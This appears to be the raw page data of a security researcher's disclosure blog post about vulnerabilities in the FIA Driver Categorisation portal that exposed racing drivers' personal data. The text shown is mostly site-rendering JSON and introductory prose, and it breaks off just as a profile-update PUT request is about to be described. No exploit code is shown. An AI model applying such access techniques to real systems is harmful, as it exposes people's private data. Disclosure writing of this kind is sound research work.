(\"],[\"https://x.com/iangcarroll\",[[\"a\",\"https://x.com/iangcarroll\"]]],[\")\"]],\"updatedAt\":1761257367737,\"type\":\"bulleted_list\"},\"2953b9a56b2b80479191c2f5e55585fd\":{\"id\":\"2953b9a56b2b80479191c2f5e55585fd\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":[[\"Sam Curry (\"],[\"https://x.com/samwcyo\",[[\"a\",\"https://x.com/samwcyo\"]]],[\") \"]],\"updatedAt\":1761257360419,\"type\":\"bulleted_list\"},\"2953b9a56b2b80889324c0154dcb5ce7\":{\"id\":\"2953b9a56b2b80889324c0154dcb5ce7\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":[[\"Gal Nagli (\"],[\"https://x.com/galnagli\",[[\"a\",\"https://x.com/galnagli\"]]],[\")\"]],\"updatedAt\":1761257351901,\"type\":\"bulleted_list\"},\"eb5f7782eeca437f927323f450f8f3dc\":{\"id\":\"eb5f7782eeca437f927323f450f8f3dc\",\"children\":[],\"hasContent\":true,\"parentId\":\"5cd0a82239d24a8a977ecf7f08be1560\",\"title\":[[\"ian carroll\"]],\"updatedAt\":1782905330713,\"type\":\"page\",\"spaceId\":\"5cd0a822-39d2-4a8a-977e-cf7f08be1560\",\"coverPosition\":0.6,\"createdTime\":1623485280000,\"lastEditedTime\":1782905330713,\"createdBy\":[{\"0\":\"‣\",\"1\":[{\"0\":\"u\"}]}],\"lastEditedBy\":[{\"0\":\"‣\",\"1\":[{\"0\":\"u\"}]}],\"description\":null,\"uri\":\"/eb5f7782eeca437f927323f450f8f3dc\",\"blockId\":\"eb5f7782-eeca-437f-9273-23f450f8f3dc\"},\"0f34388b710345ddb010281f11fd0528\":{\"id\":\"0f34388b710345ddb010281f11fd0528\",\"children\":[\"9dcaa40a05cd4f3d841d99e8f8369b98\",\"3833b9a56b2b80ff8b05c7b46ae62701\",\"20a3b9a56b2b802698bed03f970b0004\",\"fia\",\"2243b9a56b2b80119dbdd2e3b853e2fd\",\"1ef5621f5a1d4e898c18c751210455ef\",\"5321adeda0b1416dbb334e5a15e77230\",\"228f7c202242479ea93110ccb4c0c61b\",\"c52e87c8a4174ecf897b751b1f4cde7c\",\"4d83b148802f40d792d4b73dc69d7f40\",\"8dcf7d70a1404769aa5e5b407864aa68\",\"53ecb75e0dae42cc891ee8e1dde4c3a7\"],\"hasContent\":true,\"parentId\":\"5cc12f2c2a2b48cb854af497e0a7cad1\",\"title\":null,\"updatedAt\":1782905330713,\"type\":\"column\",\"ratio\":0.625},\"5cc12f2c2a2b48cb854af497e0a7cad1\":{\"id\":\"5cc12f2c2a2b48cb854af497e0a7cad1\",\"children\":[\"602a6ce7efc745ce8afd18b88e0fd33f\",\"0f34388b710345ddb010281f11fd0528\"],\"hasContent\":true,\"parentId\":\"eb5f7782eeca437f927323f450f8f3dc\",\"title\":null,\"updatedAt\":1623628560001,\"type\":\"column_list\",\"multiplyer\":1,\"fullWidth\":false,\"pageWidth\":false}},\"form_question\":{},\"entity\":{},\"pageId\":\"2843b9a56b2b8086b7b7ead74c325770\",\"pagesToCreate\":[]}
872,\"settings\":{\"siteId\":\"c4f580f7-fa69-456f-93cd-7cca5eda614e\",\"userId\":\"cb4e83cb-fe5e-4a17-9055-d11287041f68\",\"domainName\":\"ian.sh\",\"name\":\"Ian Carroll\",\"active\":true,\"free\":false,\"tier\":\"pro\",\"favicon\":\"https://s3.amazonaws.com/super-notion/images/a35ee276-8605-424a-9466-bacce4ec24fd.png\",\"fontFamily\":\"Inter\",\"legacyTheme\":\"default\",\"language\":\"en\",\"languages\":[],\"notionPage\":\"eb5f7782eeca437f927323f450f8f3dc\",\"indexPageId\":\"c4f580f7-fa69-456f-93cd-7cca5eda614e:::341116e4-b5b8-4753-89cb-a0ddbee82773\",\"pageProperties\":false,\"hidePageProperties\":true,\"disablePageProperties\":false,\"pageSyncing\":true,\"viewSwitcher\":true,\"layoutSidePanel\":true,\"floatingTableOfContents\":false,\"siteSearch\":false,\"advancedSearch\":true,\"themeToggle\":false,\"mondayFirst\":false,\"loadLimits\":false,\"hidePersonInfo\":false,\"showPropertyIcons\":false,\"filterRedirectsFromSearch\":false,\"redirectSubdomain\":null,\"noIndex\":false,\"viewsExceeded\":false,\"manualSync\":false,\"syncStatus\":\"unsynced\",\"publishedAt\":\"2026-07-01T11:29:18.496Z\",\"custom404Enabled\":false,\"membershipEnabled\":false,\"membershipConfigured\":false,\"suppressLoginEmail\":false,\"indexMembershipTierIds\":null,\"navbar\":null,\"footer\":null,\"sidebar\":null,\"theme\":null,\"code\":{\"head\":[],\"body\":[],\"style\":[],\"css\":\"\"},\"files\":[],\"hasPassword\":false,\"hasFeed\":false,\"membershipTierIds\":null},\"smallText\":false,\"config\":\"$undefined\",\"pageLocation\":\"/fia\",\"passwords\":[],\"styles\":\"\",\"children\":[\"$L2e\",\"$L2f\",null]}]\n"])</script>
872<script>self.__next_f.push([1,"30:I[137755,[\"/_next/static/chunks/1dlft7ht-6kzk.js\",\"/_next/static/chunks/1xt6zdl-o7wg3.js\",\"/_next/static/chunks/0rr5btioklgf4.js\",\"/_next/static/chunks/2matreab0rub0.js\",\"/_next/static/chunks/2z5wb7vhdi3hf.js\",\"/_next/static/chunks/3cmvik1zogxvy.js\",\"/_next/static/chunks/0tebe-k_4bvw8.js\",\"/_next/static/chunks/08sikk1eypppo.js\",\"/_next/static/chunks/1thlt7ghjj4x5.js\",\"/_next/static/chunks/41l0cu_krzrbf.js\"],\"NotionNavbar\"]\n31:I[186656,[\"/_next/static/chunks/1dlft7ht-6kzk.js\",\"/_next/static/chunks/1xt6zdl-o7wg3.js\",\"/_next/static/chunks/0rr5btioklgf4.js\",\"/_next/static/chunks/2matreab0rub0.js\",\"/_next/static/chunks/2z5wb7vhdi3hf.js\",\"/_next/static/chunks/3cmvik1zogxvy.js\",\"/_next/static/chunks/0tebe-k_4bvw8.js\",\"/_next/static/chunks/08sikk1eypppo.js\",\"/_next/static/chunks/1thlt7ghjj4x5.js\",\"/_next/static/chunks/41l0cu_krzrbf.js\"],\"Picture\"]\n32:I[618378,[\"/_next/static/chunks/1dlft7ht-6kzk.js\",\"/_next/static/chunks/1xt6zdl-o7wg3.js\",\"/_next/static/chunks/0rr5btioklgf4.js\",\"/_next/static/chunks/2matreab0rub0.js\",\"/_next/static/chunks/2z5wb7vhdi3hf.js\",\"/_next/static/chunks/3cmvik1zogxvy.js\",\"/_next/static/chunks/0tebe-k_4bvw8.js\",\"/_next/static/chunks/08sikk1eypppo.js\",\"/_next/static/chunks/1thlt7ghjj4x5.js\",\"/_next/static/chunks/41l0cu_krzrbf.js\"],\"PageRoot\"]\n4d:I[10042,[\"/_next/static/chunks/1dlft7ht-6kzk.js\",\"/_next/static/chunks/1xt6zdl-o7wg3.js\",\"/_next/static/chunks/0rr5btioklgf4.js\",\"/_next/static/chunks/2matreab0rub0.js\",\"/_next/static/chunks/2z5wb7vhdi3hf.js\",\"/_next/static/chunks/3cmvik1zogxvy.js\",\"/_next/static/chunks/0tebe-k_4bvw8.js\",\"/_next/static/chunks/08sikk1eypppo.js\",\"/_next/static/chunks/1thlt7ghjj4x5.js\",\"/_next/static/chunks/41l0cu_krzrbf.js\"],\"PageDetails\"]\n2e:[\"$\",\"main\",null,{\"id\":\"page-fia\",\"className\":\"super-content page__fia parent-page__index\",\"children\":[[\"$\",\"$L30\",null,{\"url\":\"https://ian.sh/fia\",\"title\":\"Hacking Formula 1: Accessing Max Verstappen's passport and PII through FIA bugs\",\"description\":\"We found vulnerabilities in the FIA's Driver Categorisation platform, allowing us to access PII and password hashes of any racing driver with a categorisation rating.\",\"root\":{\"id\":\"eb5f7782eeca437f927323f450f8f3dc\",\"uri\":\"/\",\"title\":\"ian carroll\",\"icon\":null},\"image\":\"https://images.unsplash.com/photo-1614949194403-9602bdc14a3a?ixlib=rb-4.1.0\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\",\"canonical\":null,\"author\":null,\"favicon\":\"https://s3.amazonaws.com/super-notion/images/a35ee276-8605-424a-9466-bacce4ec24fd.png\",\"breadcrumbs\":[{\"id\":\"fia\",\"uri\":\"/fia\",\"title\":\"Hacking Formula 1: Accessing Max Verstappen's passport and PII through FIA bugs\",\"icon\":null}],\"siteId\":\"c4f580f7-fa69-456f-93cd-7cca5eda614e\",\"userId\":\"cb4e83cb-fe5e-4a17-9055-d11287041f68\",\"domainName\":\"ian.sh\",\"name\":\"Ian Carroll\",\"active\":true,\"free\":false,\"tier\":\"pro\",\"fontFamily\":\"Inter\",\"legacyTheme\":\"default\",\"language\":\"en\",\"languages\":\"$5:props:settings:languages\",\"notionPage\":\"eb5f7782eeca437f927323f450f8f3dc\",\"indexPageId\":\"c4f580f7-fa69-456f-93cd-7cca5eda614e:::341116e4-b5b8-4753-89cb-a0ddbee82773\",\"pageProperties\":false,\"hidePageProperties\":true,\"disablePageProperties\":false,\"pageSyncing\":true,\"viewSwitcher\":true,\"layoutSidePanel\":true,\"floatingTableOfContents\":false,\"siteSearch\":false,\"advancedSearch\":true,\"themeToggle\":false,\"mondayFirst\":false,\"loadLimits\":false,\"hidePersonInfo\":false,\"showPropertyIcons\":false,\"filterRedirectsFromSearch\":false,\"redirectSubdomain\":null,\"noIndex\":false,\"viewsExceeded\":false,\"manualSync\":false,\"syncStatus\":\"unsynced\",\"publishedAt\":\"2026-07-01T11:29:18.496Z\",\"custom404Enabled\":false,\"membershipEnabled\":false,\"membershipConfigured\":false,\"suppressLoginEmail\":false,\"indexMembershipTierIds\":null,\"navbar\":null,\"footer\":null,\"sidebar\":null,\"theme\":null,\"code\":\"$5:props:settings:code\",\"files\":\"$5:props:settings:files\",\"hasPassword\":false,\"hasFeed\":false,\"membershipTierIds\":null}],null,null,[\"$\",\"div\",null,{\"className\":\"notion-header page\",\"children\":[[\"$\",\"div\",null,{\"className\":\"notion-header__cover has-cover no-icon\",\"children\":[\"$\",\"$L31\",\"cover-fia\",{\"className\":\"notion-header__cover-image\",\"style\":{\"userSelect\":\"none\"},\"src\":\"https://images.unsplash.com/photo-1614949194403-9602bdc14a3a?ixlib=rb-4.1.0\u0026q=85\u0026fm=jpg\u
8720026crop=entropy\u0026cs=srgb\",\"alt\":\"Hacking Formula 1: Accessing Max Verstappen's passport and PII through FIA bugs\",\"priority\":true,\"fill\":true,\"objectFit\":\"cover\",\"objectPosition\":\"center 50%\"}]}],[\"$\",\"div\",null,{\"className\":\"notion-header__content max-width has-cover no-icon\",\"children\":[[\"$\",\"div\",null,{\"className\":\"notion-header__title-wrapper\",\"children\":[null,[\"$\",\"h1\",null,{\"className\":\"notion-header__title\",\"children\":\"Hacking Formula 1: Accessing Max Verstappen's passport and PII through FIA bugs\"}]]}],null]}]]}],[[\"$\",\"$L32\",\"fia\",{\"id\":\"fia\",\"children\":[[\"$\",\"$1\",\"2843b9a56b2b80979101f9b033ee868e,2843b9a56b2b80979101f9b033ee868e\",{\"children\":[[\"$\",\"span\",null,{\"className\":\"notion-heading__anchor\",\"id\":\"2843b9a56b2b80979101f9b033ee868e\"}],[\"$\",\"h2\",null,{\"id\":\"block-2843b9a56b2b80979101f9b033ee868e\",\"className\":\"notion-heading notion-semantic-string\",\"children\":[\"$undefined\",[[\"$\",\"$1\",\"0-Introduction\",{\"children\":\"Introduction\"}]],\"$undefined\"]}]]}],[\"$\",\"p\",\"2843b9a56b2b8097bc26ca6042b21f8e,2843b9a56b2b8097bc26ca6042b21f8e\",{\"id\":\"block-2843b9a56b2b8097bc26ca6042b21f8e\",\"className\":\"notion-text notion-text__content notion-semantic-string\",\"children\":[\"$undefined\",[[\"$\",\"$1\",\"0-With security startups getting flooded with VC funding in the past few years, some of the biggest networking events have centered themselves around the Formula 1 Grand Prix. Companies like CrowdStrike and Darktrace spend millions of dollars sponsoring teams, while others like Bitdefender have official partnerships to be a racing team's cybersecurity partner.\",{\"children\":\"With security startups getting flooded with VC funding in the past few years, some of the biggest networking events have centered themselves around the Formula 1 Grand Prix. Companies like CrowdStrike and Darktrace spend millions of dollars sponsoring teams, while others like Bitdefender have official partnerships to be a racing team's cybersecurity partner.\"}]],\"$undefined\"]}],\"$L33\",\"$L34\",\"$L35\",\"$L36\",\"$L37\",\"$L38\",\"$L39\",\"$L3a\",\"$L3b\",\"$L3c\",\"$L3d\",\"$L3e\",\"$L3f\",\"$L40\",\"$L41\",\"$L42\",\"$L43\",\"$L44\",\"$L45\",\"$L46\",\"$L47\",\"$L48\",\"$L49\",\"$L4a\",\"$L4b\",\"$L4c\"],\"hasContent\":true,\"parentId\":\"0f34388b710345ddb010281f11fd0528\",\"title\":\"$5:props:records:block:fia:title\",\"updatedAt\":1761257342350,\"type\":\"page\",\"spaceId\":\"5cd0a822-39d2-4a8a-977e-cf7f08be1560\",\"coverPosition\":0.5,\"createdTime\":1759761804322,\"lastEditedTime\":1761257342350,\"createdBy\":\"$5:props:records:block:fia:createdBy\",\"lastEditedBy\":\"$5:props:records:block:fia:lastEditedBy\",\"uri\":\"/fia\",\"fullWidth\":false,\"smallText\":false,\"cover\":\"https://images.unsplash.com/photo-1614949194403-9602bdc14a3a?ixlib=rb-4.1.0\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\",\"noCover\":false,\"superProperties\":\"$5:props:records:block:fia:superProperties\",\"propertyValues\":\"$5:props:records:block:fia:propertyValues\",\"blockId\":\"2843b9a5-6b2b-8086-b7b7-ead74c325770\",\"isRoot\":true,\"ctx\":{\"head\":{\"url\":\"https://ian.sh/fia\",\"title\":\"Hacking Formula 1: Accessing Max Verstappen's passport and PII through FIA bugs\",\"description\":\"We found vulnerabilities in the FIA's Driver Categorisation platform, allowing us to access PII and password hashes of any racing driver with a categorisation rating.\",\"root\":\"$2e:props:children:0:props:root\",\"image\":\"https://images.unsplash.com/photo-1614949194403-9602bdc14a3a?ixlib=rb-4.1.0\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\",\"canonical\":null,\"author\":null,\"favicon\":\"https://s3.amazonaws.com/super-notion/images/a35ee276-8605-424a-9466-bacce4ec24fd.png\",\"breadcrumbs\":\"$2e:props:children:0:props:breadcrumbs\"},\"settings\":{\"siteId\":\"c4f580f7-fa69-456f-93cd-7cca5eda614e\",\"userId\":\"cb4e83cb-fe5e-4a17-9055-d11287041f68\",\"domainName\":\"ian.sh\",\"name\":\"Ian Carroll\",\"active\":true,\"free\":false,\"t
872ier\":\"pro\",\"favicon\":\"https://s3.amazonaws.com/super-notion/images/a35ee276-8605-424a-9466-bacce4ec24fd.png\",\"fontFamily\":\"Inter\",\"legacyTheme\":\"default\",\"language\":\"en\",\"languages\":\"$5:props:settings:languages\",\"notionPage\":\"eb5f7782eeca437f927323f450f8f3dc\",\"indexPageId\":\"c4f580f7-fa69-456f-93cd-7cca5eda614e:::341116e4-b5b8-4753-89cb-a0ddbee82773\",\"pageProperties\":false,\"hidePageProperties\":true,\"disablePageProperties\":false,\"pageSyncing\":true,\"viewSwitcher\":true,\"layoutSidePanel\":true,\"floatingTableOfContents\":false,\"siteSearch\":false,\"advancedSearch\":true,\"themeToggle\":false,\"mondayFirst\":false,\"loadLimits\":false,\"hidePersonInfo\":false,\"showPropertyIcons\":false,\"filterRedirectsFromSearch\":false,\"redirectSubdomain\":null,\"noIndex\":false,\"viewsExceeded\":false,\"manualSync\":false,\"syncStatus\":\"unsynced\",\"publishedAt\":\"2026-07-01T11:29:18.496Z\",\"custom404Enabled\":false,\"membershipEnabled\":false,\"membershipConfigured\":false,\"suppressLoginEmail\":false,\"indexMembershipTierIds\":null,\"navbar\":null,\"footer\":null,\"sidebar\":null,\"theme\":{\"layout\":{\"paddingLayout\":0.6,\"layoutMaxWidth\":900,\"columnSpacing\":46,\"borderThicknessLayout\":1,\"borderTypeLayout\":\"solid\",\"borderRadiiLayout\":5,\"pageDisplay\":\"flex\"},\"header\":{\"coverHeight\":30,\"titleAlign\":\"left\",\"iconAlign\":\"-112px auto auto auto\",\"display\":\"block\"},\"collectionCard\":{\"gap\":10,\"shadow\":\"rgba(15, 15, 15, 0.1) 0px 0px 0px 1px, rgba(15, 15, 15, 0.1) 0px 2px 4px\",\"coverHeightLarge\":200,\"coverHeightMedium\":200,\"coverHeightSmall\":128,\"titleSize\":0.875,\"coverSizeSmall\":172,\"coverSizeMedium\":260,\"coverSizeLarge\":320,\"iconDisplay\":\"inline-flex\"},\"callout\":{\"iconDisplay\":\"block\",\"shadow\":\"none\"},\"typography\":{\"primaryFont\":\"Inter\",\"secondaryFont\":\"Inter\",\"fonts\":[],\"baseSize\":16,\"titleSize\":2.5,\"quoteSize\":1.2,\"quoteSizeLarge\":1.4,\"headingSize\":1,\"textWeight\":\"normal\",\"headingWeight\":\"600\"},\"scrollbar\":{\"width\":15},\"navbar\":{\"height\":56,\"shadow\":\"rgba(0, 0, 0, 0.12) 0px 10px 20px -6px\"},\"sidebar\":{\"width\":280,\"shadow\":\"rgba(0, 0, 0, 0.12) 0px 10px 20px -6px\"},\"colors\":{\"light\":{\"text\":\"#37352F\",\"textLight\":\"#7d7c78\",\"background\":\"#ffffff\",\"borderColor\":\"#E9E9E7\",\"checkboxBackground\":\"#2EAADC\",\"hoverBackground\":\"#efefef\",\"scrollbar\":{\"background\":\"#FAFAFA\",\"handle\":\"#C1C1C1\",\"border\":\"#E8E8E8\"},\"navbar\":{\"background\":\"#ffffff\",\"buttonBackground\":\"#37352F\",\"buttonText\":\"#ffffff\",\"text\":\"#37352F\"},\"footer\":{\"background\":\"#ffffff\",\"buttonBackground\":\"#37352F\",\"buttonText\":\"#ffffff\",\"text\":\"#37352F\"},\"sidebar\":{\"background\":\"#ffffff\",\"hoverBackground\":\"#efefef\",\"ctaBackground\":\"#ffffff\",\"ctaText\":\"#37352F\",\"text\":\"#37352F\",\"border\":\"#E9E9E7\"},\"database\":{\"cardBackground\":\"#ffffff\",\"cardHoverBackground\":\"#f9f9f8\",\"calendarWeekendBackground\":\"#f7f6f3\"},\"form\":{\"submitButton\":{\"default\":\"#55534E\",\"gray\":\"#A7A39A\",\"brown\":\"#9A6851\",\"orange\":\"#D9730D\",\"yellow\":\"#CA922F\",\"green\":\"#448361\",\"blue\":\"#327DA9\",\"purple\":\"#8F64AF\",\"pink\":\"#C24C8B\",\"red\":\"#D44E49\"}},\"default\":[45,8,20],\"gray\":[45,2,46],\"brown\":[19,31,47],\"orange\":[30,87,45],\"yellow\":[38,62,49],\"green\":[149,31,39],\"blue\":[202,53,43],\"purple\":[274,32,54],\"pink\":[328,48,53],\"red\":[2,62,55]},\"dark\":{\"text\":\"#e1e1e1\",\"textLight\":\"#9b9b9b\",\"background\":\"#191919\",\"borderColor\":\"#373737\",\"checkboxBackground\":\"#2EAADC\",\"hoverBackground\":\"#292929\",\"scrollbar\":{\"background\":\"#FAFAFA\",\"handle\":\"#C1C1C1\",\"border\":\"#E8E8E8\"},\"navbar\":{\"background\":\"#191919\",\"buttonBackground\":\"#e1e1e1\",\"buttonText\":\"#191919\",\"text\":\"#e1e1e1\"},\"footer\":{\"background\":\"#191919\",\"buttonBackground\":\"#e1e1e1\",\"buttonText\":\"#191919\",\"text\":\"#e1e1e1\"},\"sidebar\":{\"background\":\"#191919\",\"hoverBackground\":\"#292929\",\"ctaBackgroun
872d\":\"#191919\",\"ctaText\":\"#e1e1e1\",\"text\":\"#e1e1e1\",\"border\":\"#373737\"},\"database\":{\"cardBackground\":\"#212121\",\"cardHoverBackground\":\"#292929\",\"calendarWeekendBackground\":\"#202020\"},\"form\":{\"submitButton\":{\"default\":\"#55534E\",\"gray\":\"#A7A39A\",\"brown\":\"#9A6851\",\"orange\":\"#D9730D\",\"yellow\":\"#CA922F\",\"green\":\"#448361\",\"blue\":\"#327DA9\",\"purple\":\"#8F64AF\",\"pink\":\"#C24C8B\",\"red\":\"#D44E49\"}},\"default\":[45,8,20],\"gray\":[0,0,61],\"brown\":[18,35,58],\"orange\":[25,54,53],\"yellow\":[38,54,54],\"green\":[146,32,47],\"blue\":[217,50,58],\"purple\":[270,55,62],\"pink\":[329,57,58],\"red\":[1,69,60]}}},\"code\":\"$5:props:settings:code\",\"files\":\"$5:props:settings:files\",\"hasPassword\":false,\"hasFeed\":false,\"membershipTierIds\":null},\"records\":\"$5:props:records\",\"pageId\":\"fia\"}}]]]}]\n2f:[\"$\",\"$L4d\",null,{\"id\":\"fia\",\"children\":\"$5:props:records:block:fia:children\",\"hasContent\":true,\"parentId\":\"0f34388b710345ddb010281f11fd0528\",\"title\":\"$5:props:records:block:fia:title\",\"updatedAt\":1761257342350,\"type\":\"page\",\"spaceId\":\"5cd0a822-39d2-4a8a-977e-cf7f08be1560\",\"coverPosition\":0.5,\"createdTime\":1759761804322,\"lastEditedTime\":1761257342350,\"createdBy\":\"$5:props:records:block:fia:createdBy\",\"lastEditedBy\":\"$5:props:records:block:fia:lastEditedBy\",\"uri\":\"/fia\",\"fullWidth\":false,\"smallText\":false,\"cover\":\"https://images.unsplash.com/photo-1614949194403-9602bdc14a3a?ixlib=rb-4.1.0\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\",\"noCover\":false,\"superProperties\":\"$5:props:records:block:fia:superProperties\",\"propertyValues\":\"$5:props:records:block:fia:propertyValues\",\"blockId\":\"2843b9a5-6b2b-8086-b7b7-ead74c325770\",\"ctx\":\"$2e:props:children:4:0:props:ctx\"}]\n"])</script>
872<script>self.__next_f.push([1,"4e:I[537826,[\"/_next/static/chunks/1dlft7ht-6kzk.js\",\"/_next/static/chunks/1xt6zdl-o7wg3.js\",\"/_next/static/chunks/0rr5btioklgf4.js\",\"/_next/static/chunks/2matreab0rub0.js\",\"/_next/static/chunks/2z5wb7vhdi3hf.js\",\"/_next/static/chunks/3cmvik1zogxvy.js\",\"/_next/static/chunks/0tebe-k_4bvw8.js\",\"/_next/static/chunks/08sikk1eypppo.js\",\"/_next/static/chunks/1thlt7ghjj4x5.js\",\"/_next/static/chunks/41l0cu_krzrbf.js\"],\"Link\"]\n4f:I[50300,[\"/_next/static/chunks/1dlft7ht-6kzk.js\",\"/_next/static/chunks/1xt6zdl-o7wg3.js\",\"/_next/static/chunks/0rr5btioklgf4.js\",\"/_next/static/chunks/2matreab0rub0.js\",\"/_next/static/chunks/2z5wb7vhdi3hf.js\",\"/_next/static/chunks/3cmvik1zogxvy.js\",\"/_next/static/chunks/0tebe-k_4bvw8.js\",\"/_next/static/chunks/08sikk1eypppo.js\",\"/_next/static/chunks/1thlt7ghjj4x5.js\",\"/_next/static/chunks/41l0cu_krzrbf.js\"],\"Code\"]\n33:[\"$\",\"p\",\"2843b9a56b2b805eabf5f59ca0a8f535,2843b9a56b2b805eabf5f59ca0a8f535\",{\"id\":\"block-2843b9a56b2b805eabf5f59ca0a8f535\",\"className\":\"notion-text notion-text__content notion-semantic-string\",\"children\":[\"$undefined\",[[\"$\",\"$1\",\"0-Having been able to attend these events by hoarding airline miles and schmoozing certain cybersecurity vendors, \",{\"children\":\"Having been able to attend these events by hoarding airline miles and schmoozing certain cybersecurity vendors, \"}],[\"$\",\"$L4e\",\"https://x.com/galnagli\",{\"className\":\"link\",\"uri\":\"https://x.com/galnagli\",\"serverHref\":\"https://x.com/galnagli\",\"children\":[\"$\",\"$1\",\"1-Gal Nagli\",{\"children\":\"Gal Nagli\"}]}],[\"$\",\"$1\",\"2-, \",{\"children\":\", \"}],[\"$\",\"$L4e\",\"https://x.com/samwcyo\",{\"className\":\"link\",\"uri\":\"https://x.com/samwcyo\",\"serverHref\":\"https://x.com/samwcyo\",\"children\":[\"$\",\"$1\",\"3-Sam Curry\",{\"children\":\"Sam Curry\"}]}],[\"$\",\"$1\",\"4-, and \",{\"children\":\", and \"}],[\"$\",\"$L4e\",\"https://x.com/iangcarroll\",{\"className\":\"link\",\"uri\":\"https://x.com/iangcarroll\",\"serverHref\":\"https://x.com/iangcarroll\",\"children\":[\"$\",\"$1\",\"5-I\",{\"children\":\"I\"}]}],[\"$\",\"$1\",\"6- thought it would be fun to try and hack some of the different supporting websites for the Formula 1 events.\",{\"children\":\" thought it would be fun to try and hack some of the different supporting websites for the Formula 1 events.\"}]],\"$undefined\"]}]\n34:[\"$\",\"p\",\"2843b9a56b2b80e9946ad5373696cf37,2843b9a56b2b80e9946ad5373696cf37\",{\"id\":\"block-2843b9a56b2b80e9946ad5373696cf37\",\"className\":\"notion-text notion-text__content notion-semantic-string\",\"children\":[\"$undefined\",[[\"$\",\"em\",\"0-i\",{\"children\":[\"$\",\"$1\",\"0-This blog is part 1 of 3 in a series of vulnerabilities found in Formula 1.\",{\"children\":\"This blog is part 1 of 3 in a series of vulnerabilities found in Formula 1.\"}]}]],\"$undefined\"]}]\n35:[\"$\",\"$1\",\"2843b9a56b2b80d68646e104a77c5b59,2843b9a56b2b80d68646e104a77c5b59\",{\"children\":[[\"$\",\"span\",null,{\"className\":\"notion-heading__anchor\",\"id\":\"2843b9a56b2b80d68646e104a77c5b59\"}],[\"$\",\"h2\",null,{\"id\":\"block-2843b9a56b2b80d68646e104a77c5b59\",\"className\":\"notion-heading notion-semantic-string\",\"children\":[\"$undefined\",[[\"$\",\"$1\",\"0-Finding F1 Driver Licenses\",{\"children\":\"Finding F1 Driver Licenses\"}]],\"$undefined\"]}]]}]\n36:[\"$\",\"p\",\"2853b9a56b2b80e980c8f60607a86708,2853b9a56b2b80e980c8f60607a86708\",{\"id\":\"block-2853b9a56b2b80e980c8f60607a86708\",\"className\":\"notion-text notion-text__content notion-semantic-string\",\"children\":[\"$undefined\",[[\"$\",\"$1\",\"0-To race in Formula 1, drivers hold an \",{\"children\":\"To race in Formula 1, drivers hold an \"}],[\"$\",\"strong\",\"0-b\",{\"children\":[\"$\",\"$1\",\"1-FIA Super Licence\",{\"children\":\"FIA Super Licence\"}]}],[\"$\",\"$1\",\"2-. It’s issued annually through a driver’s national motorsport authority (ASN) once they’ve met the FIA’s requirements, typically spending years in smaller races to earn Super Licence points, along with meeting minimum age thresholds and other medical/written tests.\",{\"children\":\". It’s issued annually through a driver’s national motorsport authority (ASN) once they’ve met the FIA’s requirements, typically spending years in smaller races to earn Super Licence points, along with meeting minimum age thresholds and other medical/written tests.\"}]],\"$undefined\"]}]\n37:[\"$\",\"p\",\"2853b9a56b2b80cebbb9da00c1df0b23,2853b9a56b2b80cebbb9da00c1df0b23\",{\"id\":\"block-2853b9a56b2b80cebbb9da00c1df0b23\",\"className\":\"notion-text notion-text__content notion-semantic-string\",\"children\":[\"$undefined\",[[\"$\",\"$1\",\"0-F1 drivers often compete outside Grands Prix as well, where the FIA uses a \",{\"children\":\"F1 drivers often compete outside Grands Prix as well, where the FIA uses a \"}],[\"$\",\"strong\",\"0-b\",{\"children\":[\"$\",\"$1\",\"1-Driver Categorisation\",{\"children\":\"Driver Categorisation\"}]}],[\"$\",\"$1\",\"2- (Bronze/Silver/Gold/Platinum) to balance teams. That categorisation is managed via the FIA portal at \",{\"children\":\" (Bronze/Silver/Gold/Platinum) to balance teams. That categorisation is managed via the FIA portal at \"}],[\"$\",\"strong\",\"0-b\",{\"children\":[\"$\",\"$1\",\"3-drivercategorisation.fia.com\",{\"children\":\"drivercategorisation.fia.com\"}]}],[\"$\",\"$1\",\"4-, which supports public self-registration for competitors to request or update their Bronze/Silver/Gold/Platinum status and submit results for review. This system is separate from the Super Licence, but many F1 drivers appear in both and receive automatic Platinum status for holding an active Super Licence.\",{\"children\":\", which supports public self-registration for competitors to request or update their Bronze/Silver/Gold/Platinum status and submit results for review. This system is separate from the Super Licence, but many F1 drivers appear in both and receive automatic Platinum status for holding an active Super Licence.\"}]],\"$undefined\"]}]\n38:[\"$\",\"div\",\"2843b9a56b2b805ab50cdacf67253c2b,2843b9a56b2b805ab50cdacf67253c2b\",{\"id\":\"block-2843b9a56b2b805ab50cdacf67253c2b\",\"className\":\"notion-image page-width\",\"style\":\"$undefined\",\"children\":[[\"$\",\"$L31\",null,{\"alt\":\"The public login page for the Driver Categorisation portal..\",\"src\":\"https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/cb7469fe-affb-40ba-8c75-41b509d48be9/image5/public\",\"width\":1000,\"height\"
872:1000,\"style\":{\"height\":\"auto\"},\"priority\":\"$undefined\",\"fullSizeSrc\":\"https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/cb7469fe-affb-40ba-8c75-41b509d48be9/image5/public\"}],\"\"]}]\n39:[\"$\",\"p\",\"2843b9a56b2b80ad80a9fcc06676ce2a,2843b9a56b2b80ad80a9fcc06676ce2a\",{\"id\":\"block-2843b9a56b2b80ad80a9fcc06676ce2a\",\"className\":\"notion-text notion-text__content notion-semantic-string\",\"children\":[\"$undefined\",[[\"$\",\"$1\",\"0-After creating an account with an email and password, you are thrown into the actual application process. Normally, you will have to upload a lot of supporting documents for your request for categorization, including identity documents and racing CVs/history. However, we noticed there is a very simple HTTP PUT request that is used to update your user profile:\",{\"children\":\"After creating an account with an email and password, you are thrown into the actual application process. Normally, you will have to upload a lot of supporting documents for your request for categorization, including identity documents and racing CVs/history. However, we noticed there is a very simple HTTP PUT request that is used to update your user 